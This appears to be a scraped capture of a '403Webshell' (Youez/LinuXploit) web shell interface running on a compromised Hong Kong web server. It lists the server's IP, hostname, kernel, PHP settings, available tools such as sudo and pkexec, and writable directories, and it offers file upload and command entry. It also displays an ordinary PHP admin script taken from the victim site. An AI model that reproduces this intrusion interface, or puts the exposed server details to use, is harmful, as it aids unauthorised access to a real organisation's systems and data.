403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/onesolution.com.hk/onesupport/task/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/onesolution.com.hk/onesupport/task/category_modify.php
<?php
	require_once('../inc/configure.php');
	session_start();
	if (!empty($_SESSION['webadmin'])) {
		$nowdate = date("Y-m-d H:i:s");

		$category_ids   = $_POST["category_id"];
		$category_names = $_POST["category_name"];
		$sort = $_POST["sort"];

		foreach($category_ids as $category_id){
			$sql = "update sup_task_category set category_name=?, sort=?, lastupdate=?, lastupby=? where task_category_id=?";

			$parameters = array($category_names[$category_id],$sort[$category_id], $nowdate, $_SESSION['webadmin']['id'], $category_id);
			if (!($sth = $dbh->prepare($sql))) {
				throw new Exception("sql prepare statement failure: $sql");
			}
			$sth->setFetchMode(PDO::FETCH_ASSOC);
			if (!$sth->execute($parameters)) {
				throw new Exception("sql execute statement failure: $sql");
			}
		}

		//delete this task category
		if (isset($_GET["delete_category"]) && $_GET["delete_category"] == 1) {
			$category_id = (int)$_GET["category_id"];
			$sql         = "update sup_task_category set deleted = 1 where task_category_id=?";

			$parameters2 = array($category_id);
			if (!($sth = $dbh->prepare($sql))) {
				throw new Exception("sql prepare statement failure: $sql");
			}
			$sth->setFetchMode(PDO::FETCH_ASSOC);
			if (!$sth->execute($parameters2)) {
				throw new Exception("sql execute statement failure: $sql");
			}
			header("Location: category_index.php");

		}

		header("Location: category_index.php");


	}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit